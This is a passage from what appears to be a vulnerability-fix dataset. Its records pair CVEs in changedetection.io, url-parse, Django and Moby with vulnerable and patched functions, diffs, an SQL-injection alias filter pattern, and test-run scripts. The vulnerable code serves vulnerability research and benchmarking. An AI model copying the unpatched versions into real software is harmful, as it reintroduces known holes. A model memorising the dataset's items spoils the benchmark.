self.datastore.data['settings']['application'].get('empty_pages_are_a_change', False)\n\n        self.fetcher.run(url=url,\n                         timeout=timeout,\n                         request_headers=request_headers,\n                         request_body=request_body,\n                         request_method=request_method,\n                         ignore_status_codes=ignore_status_codes,\n                         current_include_filters=self.watch.get('include_filters'),\n                         is_binary=is_binary,\n                         empty_pages_are_a_change=empty_pages_are_a_change\n                         )\n\n        #@todo .quit here could go on close object, so we can run JS if change-detected\n        self.fetcher.quit()"}], "fix_func": [{"id": "fix_py_271_1", "commit": "49bc982c697169c98b79698889fb9d26f6b3317f", "file_path": "changedetectionio/processors/__init__.py", "start_line": 30, "end_line": 162, "snippet": "    def call_browser(self, preferred_proxy_id=None):\n\n        from requests.structures import CaseInsensitiveDict\n\n        url = self.watch.link\n\n        # Protect against file://, file:/ access, check the real \"link\" without any meta \"source:\" etc prepended.\n        if re.search(r'^file:/', url.strip(), re.IGNORECASE):\n            if not strtobool(os.getenv('ALLOW_FILE_URI', 'false')):\n                raise Exception(\n                    \"file:// type access is denied for security reasons.\"\n                )\n\n        # Requests, playwright, other browser via wss:// etc, fetch_extra_something\n        prefer_fetch_backend = self.watch.get('fetch_backend', 'system')\n\n        # Proxy ID \"key\"\n        preferred_proxy_id = preferred_proxy_id if preferred_proxy_id else self.datastore.get_preferred_proxy_for_watch(uuid=self.watch.get('uuid'))\n\n        # Pluggable content self.fetcher\n        if not prefer_fetch_backend or prefer_fetch_backend == 'system':\n            prefer_fetch_backend = self.datastore.data['settings']['application'].get('fetch_backend')\n\n        # In the case that the preferred fetcher was a browser config with custom connection URL..\n        # @todo - on save watch, if its extra_browser_ then it should be obvious it will use playwright (like if its requests now..)\n        custom_browser_connection_url = None\n        if prefer_fetch_backend.startswith('extra_browser_'):\n            (t, key) = prefer_fetch_backend.split('extra_browser_')\n            connection = list(\n                filter(lambda s: (s['browser_name'] == key), self.datastore.data['settings']['requests'].get('extra_browsers', [])))\n            if connection:\n                prefer_fetch_backend = 'html_webdriver'\n                custom_browser_connection_url = connection[0].get('browser_connection_url')\n\n        # PDF should be html_requests because playwright will serve it up (so far) in a embedded page\n        # @todo https://github.com/dgtlmoon/changedetection.io/issues/2019\n        # @todo needs test to or a fix\n        if self.watch.is_pdf:\n           prefer_fetch_backend = \"html_requests\"\n\n        # Grab the right kind of 'fetcher', (playwright, requests, etc)\n        from changedetectionio import content_fetchers\n        if hasattr(content_fetchers, prefer_fetch_backend):\n            # @todo TEMPORARY HACK - SWITCH BACK TO PLAYWRIGHT FOR BROWSERSTEPS\n            if prefer_fetch_backend == 'html_webdriver' and self.watch.has_browser_steps:\n                # This is never supported in selenium anyway\n                logger.warning(\"Using playwright fetcher override for possible puppeteer request in browsersteps, because puppetteer:browser steps is incomplete.\")\n                from changedetectionio.content_fetchers.playwright import fetcher as playwright_fetcher\n                fetcher_obj = playwright_fetcher\n            else:\n                fetcher_obj = getattr(content_fetchers, prefer_fetch_backend)\n        else:\n            # What it referenced doesnt exist, Just use a default\n            fetcher_obj = getattr(content_fetchers, \"html_requests\")\n\n        proxy_url = None\n        if preferred_proxy_id:\n            # Custom browser endpoints should NOT have a proxy added\n            if not prefer_fetch_backend.startswith('extra_browser_'):\n                proxy_url = self.datastore.proxy_list.get(preferred_proxy_id).get('url')\n                logger.debug(f\"Selected proxy key '{preferred_proxy_id}' as proxy URL '{proxy_url}' for {url}\")\n            else:\n                logger.debug(f\"Skipping adding proxy data when custom Browser endpoint is specified. \")\n\n        # Now call the fetcher (playwright/requests/etc) with arguments that only a fetcher would need.\n        # When browser_connection_url is None, it method should default to working out whats the best defaults (os env vars etc)\n        self.fetcher = fetcher_obj(proxy_override=proxy_url,\n                                   custom_browser_connection_url=custom_browser_connection_url\n                                   )\n\n        if self.watch.has_browser_steps:\n            self.fetcher.browser_steps = self.watch.get('browser_steps', [])\n            self.fetcher.browser_steps_screenshot_path = os.path.join(self.datastore.datastore_path, self.watch.get('uuid'))\n\n        # Tweak the base config with the per-watch ones\n        from changedetectionio.safe_jinja import render as jinja_render\n        request_headers = CaseInsensitiveDict()\n\n        ua = self.datastore.data['settings']['requests'].get('default_ua')\n        if ua and ua.get(prefer_fetch_backend):\n            request_headers.update({'User-Agent': ua.get(prefer_fetch_backend)})\n\n        request_headers.update(self.watch.get('headers', {}))\n        request_headers.update(self.datastore.get_all_base_headers())\n        request_headers.update(self.datastore.get_all_headers_in_textfile_for_watch(uuid=self.watch.get('uuid')))\n\n        # https://github.com/psf/requests/issues/4525\n        # Requests doesnt yet support brotli encoding, so don't put 'br' here, be totally sure that the user cannot\n        # do this by accident.\n        if 'Accept-Encoding' in request_headers and \"br\" in request_headers['Accept-Encoding']:\n            request_headers['Accept-Encoding'] = request_headers['Accept-Encoding'].replace(', br', '')\n\n        for header_name in request_headers:\n            request_headers.update({header_name: jinja_render(template_str=request_headers.get(header_name))})\n\n        timeout = self.datastore.data['settings']['requests'].get('timeout')\n\n        request_body = self.watch.get('body')\n        if request_body:\n            request_body = jinja_render(template_str=self.watch.get('body'))\n        \n        request_method = self.watch.get('method')\n        ignore_status_codes = self.watch.get('ignore_status_codes', False)\n\n        # Configurable per-watch or global extra delay before extracting text (for webDriver types)\n        system_webdriver_delay = self.datastore.data['settings']['application'].get('webdriver_delay', None)\n        if self.watch.get('webdriver_delay'):\n            self.fetcher.render_extract_delay = self.watch.get('webdriver_delay')\n        elif system_webdriver_delay is not None:\n            self.fetcher.render_extract_delay = system_webdriver_delay\n\n        if self.watch.get('webdriver_js_execute_code') is not None and self.watch.get('webdriver_js_execute_code').strip():\n            self.fetcher.webdriver_js_execute_code = self.watch.get('webdriver_js_execute_code')\n\n        # Requests for PDF's, images etc should be passwd the is_binary flag\n        is_binary = self.watch.is_pdf\n\n        # And here we go! call the right browser with browser-specific settings\n        empty_pages_are_a_change = self.datastore.data['settings']['application'].get('empty_pages_are_a_change', False)\n\n        self.fetcher.run(url=url,\n                         timeout=timeout,\n                         request_headers=request_headers,\n                         request_body=request_body,\n                         request_method=request_method,\n                         ignore_status_codes=ignore_status_codes,\n                         current_include_filters=self.watch.get('include_filters'),\n                         is_binary=is_binary,\n                         empty_pages_are_a_change=empty_pages_are_a_change\n                         )\n\n        #@todo .quit here could go on close object, so we can run JS if change-detected\n        self.fetcher.quit()"}], "vul_patch": "--- a/changedetectionio/processors/__init__.py\n+++ b/changedetectionio/processors/__init__.py\n@@ -4,8 +4,8 @@\n \n         url = self.watch.link\n \n-        # Protect against file:// access, check the real \"link\" without any meta \"source:\" etc prepended.\n-        if re.search(r'^file://', url, re.IGNORECASE):\n+        # Protect against file://, file:/ access, check the real \"link\" without any meta \"source:\" etc prepended.\n+        if re.search(r'^file:/', url.strip(), re.IGNORECASE):\n             if not strtobool(os.getenv('ALLOW_FILE_URI', 'false')):\n                 raise Exception(\n                     \"file:// type access is denied for security reasons.\"\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-0639", "cve_description": "Authorization Bypass Through User-Controlled Key in NPM url-parse prior to 1.5.7.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/unshiftio/url-parse", "patch_url": ["https://github.com/unshiftio/url-parse/commit/ef45a1355375a8244063793a19059b4f62fc8788"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_39_1", "commit": "88df234", "file_path": "index.js", "start_line": 522, "end_line": 552, "snippet": "function toString(stringify) {\n  if (!stringify || 'function' !== typeof stringify) stringify = qs.stringify;\n\n  var query\n    , url = this\n    , protocol = url.protocol;\n\n  if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n\n  var result =\n    protocol +\n    ((url.protocol && url.slashes) || isSpecial(url.protocol) ? '//' : '');\n\n  if (url.username) {\n    result += url.username;\n    if (url.password) result += ':'+ url.password;\n    result += '@';\n  } else if (url.password) {\n    result += ':'+ url.password;\n    result += '@';\n  }\n\n  result += url.host + url.pathname;\n\n  query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n  if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n  if (url.hash) result += url.hash;\n\n  return result;\n}"}], "fix_func": [{"id": "fix_js_39_1", "commit": "ef45a13", "file_path": "index.js", "start_line": 522, "end_line": 563, "snippet": "function toString(stringify) {\n  if (!stringify || 'function' !== typeof stringify) stringify = qs.stringify;\n\n  var query\n    , url = this\n    , protocol = url.protocol;\n\n  if (protocol && protocol.charAt(protocol.length - 1) !== ':') protocol += ':';\n\n  var result =\n    protocol +\n    ((url.protocol && url.slashes) || isSpecial(url.protocol) ? '//' : '');\n\n  if (url.username) {\n    result += url.username;\n    if (url.password) result += ':'+ url.password;\n    result += '@';\n  } else if (url.password) {\n    result += ':'+ url.password;\n    result += '@';\n  } else if (\n    url.protocol !== 'file:' &&\n    isSpecial(url.protocol) &&\n    !url.host &&\n    url.pathname !== '/'\n  ) {\n    //\n    // Add back the empty userinfo, otherwise the original invalid URL\n    // might be transformed into a valid one with `url.pathname` as host.\n    //\n    result += '@';\n  }\n\n  result += url.host + url.pathname;\n\n  query = 'object' === typeof url.query ? stringify(url.query) : url.query;\n  if (query) result += '?' !== query.charAt(0) ? '?'+ query : query;\n\n  if (url.hash) result += url.hash;\n\n  return result;\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -18,6 +18,17 @@\n   } else if (url.password) {\n     result += ':'+ url.password;\n     result += '@';\n+  } else if (\n+    url.protocol !== 'file:' &&\n+    isSpecial(url.protocol) &&\n+    !url.host &&\n+    url.pathname !== '/'\n+  ) {\n+    //\n+    // Add back the empty userinfo, otherwise the original invalid URL\n+    // might be transformed into a valid one with `url.pathname` as host.\n+    //\n+    result += '@';\n   }\n \n   result += url.host + url.pathname;\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0639:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha --grep \"adds @ to href if auth and host are empty\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-0639:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/url-parse\ngit apply --whitespace=nowarn /workspace/fix.patch /workspace/dep.patch\nnode --require ./preload.js ./node_modules/.bin/mocha test/test.js"}
{"cve_id": "CVE-2022-28346", "cve_description": "An issue was discovered in Django 2.2 before 2.2.28, 3.2 before 3.2.13, and 4.0 before 4.0.4. QuerySet.annotate(), aggregate(), and extra() methods are subject to SQL injection in column aliases via a crafted dictionary (with dictionary expansion) as the passed **kwargs.", "cwe_info": {"CWE-89": {"name": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "description": "The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/93cae5cb2f9a4ef1514cf1a41f714fef08005200", "https://github.com/django/django/commit/2c09e68ec911919360d5f8502cefc312f9e03c5d", "https://github.com/django/django/commit/2044dac5c6968441be6f534c4139bcf48c5c7e48", "https://github.com/django/django/commit/800828887a0509ad1162d6d407e94d8de7eafc60"], "programing_language": "Python", "vul_func": [{"id": "vul_py_2_1", "commit": "bdb92db", "file_path": "django/db/models/sql/query.py", "start_line": 1037, "end_line": 1045, "snippet": "    def add_annotation(self, annotation, alias, is_summary=False, select=True):\n        \"\"\"Add a single annotation expression to the Query.\"\"\"\n        annotation = annotation.resolve_expression(self, allow_joins=True, reuse=None,\n                                                   summarize=is_summary)\n        if select:\n            self.append_annotation_mask([alias])\n        else:\n            self.set_annotation_mask(set(self.annotation_select).difference({alias}))\n        self.annotations[alias] = annotation"}, {"id": "vul_py_2_2", "commit": "bdb92db", "file_path": "django/db/models/sql/query.py", "start_line": 2075, "end_line": 2105, "snippet": "    def add_extra(self, select, select_params, where, params, tables, order_by):\n        \"\"\"\n        Add data to the various extra_* attributes for user-created additions\n        to the query.\n        \"\"\"\n        if select:\n            # We need to pair any placeholder markers in the 'select'\n            # dictionary with their parameters in 'select_params' so that\n            # subsequent updates to the select dictionary also adjust the\n            # parameters appropriately.\n            select_pairs = {}\n            if select_params:\n                param_iter = iter(select_params)\n            else:\n                param_iter = iter([])\n            for name, entry in select.items():\n                entry = str(entry)\n                entry_params = []\n                pos = entry.find(\"%s\")\n                while pos != -1:\n                    if pos == 0 or entry[pos - 1] != '%':\n                        entry_params.append(next(param_iter))\n                    pos = entry.find(\"%s\", pos + 2)\n                select_pairs[name] = (entry, entry_params)\n            self.extra.update(select_pairs)\n        if where or params:\n            self.where.add(ExtraWhere(where, params), AND)\n        if tables:\n            self.extra_tables += tuple(tables)\n        if order_by:\n            self.extra_order_by = order_by"}], "fix_func": [{"id": "fix_py_2_3", "commit": "2044dac", "file_path": "django/db/models/sql/query.py", "start_line": 51, "end_line": 51, "snippet": "FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r\"['`\\\"\\]\\[;\\s]|--|/\\*|\\*/\")"}, {"id": "fix_py_2_1", "commit": "2044dac", "file_path": "django/db/models/sql/query.py", "start_line": 1042, "end_line": 1058, "snippet": "    def check_alias(self, alias):\n        if FORBIDDEN_ALIAS_PATTERN.search(alias):\n            raise ValueError(\n                \"Column aliases cannot contain whitespace characters, quotation marks, \"\n                \"semicolons, or SQL comments.\"\n            )\n\n    def add_annotation(self, annotation, alias, is_summary=False, select=True):\n        \"\"\"Add a single annotation expression to the Query.\"\"\"\n        self.check_alias(alias)\n        annotation = annotation.resolve_expression(self, allow_joins=True, reuse=None,\n                                                   summarize=is_summary)\n        if select:\n            self.append_annotation_mask([alias])\n        else:\n            self.set_annotation_mask(set(self.annotation_select).difference({alias}))\n        self.annotations[alias] = annotation"}, {"id": "fix_py_2_2", "commit": "2044dac", "file_path": "django/db/models/sql/query.py", "start_line": 2088, "end_line": 2119, "snippet": "    def add_extra(self, select, select_params, where, params, tables, order_by):\n        \"\"\"\n        Add data to the various extra_* attributes for user-created additions\n        to the query.\n        \"\"\"\n        if select:\n            # We need to pair any placeholder markers in the 'select'\n            # dictionary with their parameters in 'select_params' so that\n            # subsequent updates to the select dictionary also adjust the\n            # parameters appropriately.\n            select_pairs = {}\n            if select_params:\n                param_iter = iter(select_params)\n            else:\n                param_iter = iter([])\n            for name, entry in select.items():\n                self.check_alias(name)\n                entry = str(entry)\n                entry_params = []\n                pos = entry.find(\"%s\")\n                while pos != -1:\n                    if pos == 0 or entry[pos - 1] != '%':\n                        entry_params.append(next(param_iter))\n                    pos = entry.find(\"%s\", pos + 2)\n                select_pairs[name] = (entry, entry_params)\n            self.extra.update(select_pairs)\n        if where or params:\n            self.where.add(ExtraWhere(where, params), AND)\n        if tables:\n            self.extra_tables += tuple(tables)\n        if order_by:\n            self.extra_order_by = order_by"}], "vul_patch": "--- a/django/db/models/sql/query.py\n+++ b/django/db/models/sql/query.py\n@@ -1,5 +1,13 @@\n+    def check_alias(self, alias):\n+        if FORBIDDEN_ALIAS_PATTERN.search(alias):\n+            raise ValueError(\n+                \"Column aliases cannot contain whitespace characters, quotation marks, \"\n+                \"semicolons, or SQL comments.\"\n+            )\n+\n     def add_annotation(self, annotation, alias, is_summary=False, select=True):\n         \"\"\"Add a single annotation expression to the Query.\"\"\"\n+        self.check_alias(alias)\n         annotation = annotation.resolve_expression(self, allow_joins=True, reuse=None,\n                                                    summarize=is_summary)\n         if select:\n\n--- a/django/db/models/sql/query.py\n+++ b/django/db/models/sql/query.py\n@@ -14,6 +14,7 @@\n             else:\n                 param_iter = iter([])\n             for name, entry in select.items():\n+                self.check_alias(name)\n                 entry = str(entry)\n                 entry_params = []\n                 pos = entry.find(\"%s\")\n\n--- /dev/null\n+++ b/django/db/models/sql/query.py\n@@ -0,0 +1 @@\n+FORBIDDEN_ALIAS_PATTERN = _lazy_re_compile(r\"['`\\\"\\]\\[;\\s]|--|/\\*|\\*/\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-28346:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2022-28346/bin/python ./runtests.py queries.tests.Queries5Tests.test_extra_select_alias_sql_injection\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-28346:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/django\ngit apply --whitespace=nowarn /workspace/fix.patch\ncd tests && /workspace/PoC_env/CVE-2022-28346/bin/python ./runtests.py queries.tests\n"}
{"cve_id": "CVE-2022-24769", "cve_description": "Moby is an open-source project created by Docker to enable and accelerate software containerization. A bug was found in Moby (Docker Engine) prior to version 20.10.14 where containers were incorrectly started with non-empty inheritable Linux process capabilities, creating an atypical Linux environment and enabling programs with inheritable file capabilities to elevate those capabilities to the permitted set during `execve(2)`. Normally, when executable programs have specified permitted file capabilities, otherwise unprivileged users and processes can execute those programs and gain the specified file capabilities up to the bounding set. Due to this bug, containers which included executable programs with inheritable file capabilities allowed otherwise unprivileged users and processes to additionally gain these inheritable file capabilities up to the container's bounding set. Containers which use Linux users and groups to perform privilege separation inside the container are most directly impacted. This bug did not affect the container security sandbox as the inheritable set never contained more capabilities than were included in the container's bounding set. This bug has been fixed in Moby (Docker Engine) 20.10.14. Running containers should be stopped, deleted, and recreated for the inheritable capabilities to be reset. This fix changes Moby (Docker Engine) behavior such that containers are started with a more typical Linux environment. As a workaround, the entry point of a container can be modified to use a utility like `capsh(1)` to drop inheritable capabilities prior to the primary process starting.", "cwe_info": {"CWE-732": {"name": "Incorrect Permission Assignment for Critical Resource", "description": "The product specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors."}}, "repo": "https://github.com/moby/moby", "patch_url": ["https://github.com/moby/moby/commit/2bbc786e4c59761d722d2d1518cd0a32829bc07f"], "programing_language": "Go", "vul_func": [{"id": "vul_go_142_1", "commit": "6b9b445", "file_path": "daemon/exec_linux.go", "start_line": 13, "end_line": 57, "snippet": "func (daemon *Daemon) execSetPlatformOpt(c *container.Container, ec *exec.Config, p *specs.Process) error {\n\tif len(ec.User) > 0 {\n\t\tvar err error\n\t\tp.User, err = getUser(c, ec.User)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif ec.Privileged {\n\t\tif p.Capabilities == nil {\n\t\t\tp.Capabilities = &specs.LinuxCapabilities{}\n\t\t}\n\t\tp.Capabilities.Bounding = caps.GetAllCapabilities()\n\t\tp.Capabilities.Permitted = p.Capabilities.Bounding\n\t\tp.Capabilities.Inheritable = p.Capabilities.Bounding\n\t\tp.Capabilities.Effective = p.Capabilities.Bounding\n\t}\n\tif apparmor.HostSupports() {\n\t\tvar appArmorProfile string\n\t\tif c.AppArmorProfile != \"\" {\n\t\t\tappArmorProfile = c.AppArmorProfile\n\t\t} else if c.HostConfig.Privileged {\n\t\t\t// `docker exec --privileged` does not currently disable AppArmor\n\t\t\t// profiles. Privileged configuration of the container is inherited\n\t\t\tappArmorProfile = unconfinedAppArmorProfile\n\t\t} else {\n\t\t\tappArmorProfile = defaultAppArmorProfile\n\t\t}\n\n\t\tif appArmorProfile == defaultAppArmorProfile {\n\t\t\t// Unattended upgrades and other fun services can unload AppArmor\n\t\t\t// profiles inadvertently. Since we cannot store our profile in\n\t\t\t// /etc/apparmor.d, nor can we practically add other ways of\n\t\t\t// telling the system to keep our profile loaded, in order to make\n\t\t\t// sure that we keep the default profile enabled we dynamically\n\t\t\t// reload it if necessary.\n\t\t\tif err := ensureDefaultAppArmorProfile(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tp.ApparmorProfile = appArmorProfile\n\t}\n\ts := &specs.Spec{Process: p}\n\treturn WithRlimits(daemon, c)(context.Background(), nil, nil, s)\n}"}, {"id": "vul_go_142_2", "commit": "6b9b445", "file_path": "oci/defaults.go", "start_line": 34, "end_line": 181, "snippet": "func DefaultLinuxSpec() specs.Spec {\n\treturn specs.Spec{\n\t\tVersion: specs.Version,\n\t\tProcess: &specs.Process{\n\t\t\tCapabilities: &specs.LinuxCapabilities{\n\t\t\t\tBounding:    caps.DefaultCapabilities(),\n\t\t\t\tPermitted:   caps.DefaultCapabilities(),\n\t\t\t\tInheritable: caps.DefaultCapabilities(),\n\t\t\t\tEffective:   caps.DefaultCapabilities(),\n\t\t\t},\n\t\t},\n\t\tRoot: &specs.Root{},\n\t\tMounts: []specs.Mount{\n\t\t\t{\n\t\t\t\tDestination: \"/proc\",\n\t\t\t\tType:        \"proc\",\n\t\t\t\tSource:      \"proc\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"nodev\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/dev\",\n\t\t\t\tType:        \"tmpfs\",\n\t\t\t\tSource:      \"tmpfs\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"strictatime\", \"mode=755\", \"size=65536k\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/dev/pts\",\n\t\t\t\tType:        \"devpts\",\n\t\t\t\tSource:      \"devpts\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"newinstance\", \"ptmxmode=0666\", \"mode=0620\", \"gid=5\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/sys\",\n\t\t\t\tType:        \"sysfs\",\n\t\t\t\tSource:      \"sysfs\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"nodev\", \"ro\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/sys/fs/cgroup\",\n\t\t\t\tType:        \"cgroup\",\n\t\t\t\tSource:      \"cgroup\",\n\t\t\t\tOptions:     []string{\"ro\", \"nosuid\", \"noexec\", \"nodev\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/dev/mqueue\",\n\t\t\t\tType:        \"mqueue\",\n\t\t\t\tSource:      \"mqueue\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"nodev\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/dev/shm\",\n\t\t\t\tType:        \"tmpfs\",\n\t\t\t\tSource:      \"shm\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"nodev\", \"mode=1777\"},\n\t\t\t},\n\t\t},\n\t\tLinux: &specs.Linux{\n\t\t\tMaskedPaths: []string{\n\t\t\t\t\"/proc/asound\",\n\t\t\t\t\"/proc/acpi\",\n\t\t\t\t\"/proc/kcore\",\n\t\t\t\t\"/proc/keys\",\n\t\t\t\t\"/proc/latency_stats\",\n\t\t\t\t\"/proc/timer_list\",\n\t\t\t\t\"/proc/timer_stats\",\n\t\t\t\t\"/proc/sched_debug\",\n\t\t\t\t\"/proc/scsi\",\n\t\t\t\t\"/sys/firmware\",\n\t\t\t},\n\t\t\tReadonlyPaths: []string{\n\t\t\t\t\"/proc/bus\",\n\t\t\t\t\"/proc/fs\",\n\t\t\t\t\"/proc/irq\",\n\t\t\t\t\"/proc/sys\",\n\t\t\t\t\"/proc/sysrq-trigger\",\n\t\t\t},\n\t\t\tNamespaces: []specs.LinuxNamespace{\n\t\t\t\t{Type: \"mount\"},\n\t\t\t\t{Type: \"network\"},\n\t\t\t\t{Type: \"uts\"},\n\t\t\t\t{Type: \"pid\"},\n\t\t\t\t{Type: \"ipc\"},\n\t\t\t},\n\t\t\t// Devices implicitly contains the following devices:\n\t\t\t// null, zero, full, random, urandom, tty, console, and ptmx.\n\t\t\t// ptmx is a bind mount or symlink of the container's ptmx.\n\t\t\t// See also: https://github.com/opencontainers/runtime-spec/blob/master/config-linux.md#default-devices\n\t\t\tDevices: []specs.LinuxDevice{},\n\t\t\tResources: &specs.LinuxResources{\n\t\t\t\tDevices: []specs.LinuxDeviceCgroup{\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  false,\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(1),\n\t\t\t\t\t\tMinor:  iPtr(5),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(1),\n\t\t\t\t\t\tMinor:  iPtr(3),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(1),\n\t\t\t\t\t\tMinor:  iPtr(9),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(1),\n\t\t\t\t\t\tMinor:  iPtr(8),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(5),\n\t\t\t\t\t\tMinor:  iPtr(0),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(5),\n\t\t\t\t\t\tMinor:  iPtr(1),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  false,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(10),\n\t\t\t\t\t\tMinor:  iPtr(229),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}"}, {"id": "vul_go_142_3", "commit": "6b9b445", "file_path": "oci/oci.go", "start_line": 21, "end_line": 33, "snippet": "func SetCapabilities(s *specs.Spec, caplist []string) error {\n\ts.Process.Capabilities.Effective = caplist\n\ts.Process.Capabilities.Bounding = caplist\n\ts.Process.Capabilities.Permitted = caplist\n\ts.Process.Capabilities.Inheritable = caplist\n\t// setUser has already been executed here\n\t// if non root drop capabilities in the way execve does\n\tif s.Process.User.UID != 0 {\n\t\ts.Process.Capabilities.Effective = []string{}\n\t\ts.Process.Capabilities.Permitted = []string{}\n\t}\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_142_1", "commit": "2bbc786", "file_path": "daemon/exec_linux.go", "start_line": 13, "end_line": 55, "snippet": "func (daemon *Daemon) execSetPlatformOpt(c *container.Container, ec *exec.Config, p *specs.Process) error {\n\tif len(ec.User) > 0 {\n\t\tvar err error\n\t\tp.User, err = getUser(c, ec.User)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif ec.Privileged {\n\t\tp.Capabilities = &specs.LinuxCapabilities{\n\t\t\tBounding:  caps.GetAllCapabilities(),\n\t\t\tPermitted: caps.GetAllCapabilities(),\n\t\t\tEffective: caps.GetAllCapabilities(),\n\t\t}\n\t}\n\tif apparmor.HostSupports() {\n\t\tvar appArmorProfile string\n\t\tif c.AppArmorProfile != \"\" {\n\t\t\tappArmorProfile = c.AppArmorProfile\n\t\t} else if c.HostConfig.Privileged {\n\t\t\t// `docker exec --privileged` does not currently disable AppArmor\n\t\t\t// profiles. Privileged configuration of the container is inherited\n\t\t\tappArmorProfile = unconfinedAppArmorProfile\n\t\t} else {\n\t\t\tappArmorProfile = defaultAppArmorProfile\n\t\t}\n\n\t\tif appArmorProfile == defaultAppArmorProfile {\n\t\t\t// Unattended upgrades and other fun services can unload AppArmor\n\t\t\t// profiles inadvertently. Since we cannot store our profile in\n\t\t\t// /etc/apparmor.d, nor can we practically add other ways of\n\t\t\t// telling the system to keep our profile loaded, in order to make\n\t\t\t// sure that we keep the default profile enabled we dynamically\n\t\t\t// reload it if necessary.\n\t\t\tif err := ensureDefaultAppArmorProfile(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\tp.ApparmorProfile = appArmorProfile\n\t}\n\ts := &specs.Spec{Process: p}\n\treturn WithRlimits(daemon, c)(context.Background(), nil, nil, s)\n}"}, {"id": "fix_go_142_2", "commit": "2bbc786", "file_path": "oci/defaults.go", "start_line": 34, "end_line": 180, "snippet": "func DefaultLinuxSpec() specs.Spec {\n\treturn specs.Spec{\n\t\tVersion: specs.Version,\n\t\tProcess: &specs.Process{\n\t\t\tCapabilities: &specs.LinuxCapabilities{\n\t\t\t\tBounding:  caps.DefaultCapabilities(),\n\t\t\t\tPermitted: caps.DefaultCapabilities(),\n\t\t\t\tEffective: caps.DefaultCapabilities(),\n\t\t\t},\n\t\t},\n\t\tRoot: &specs.Root{},\n\t\tMounts: []specs.Mount{\n\t\t\t{\n\t\t\t\tDestination: \"/proc\",\n\t\t\t\tType:        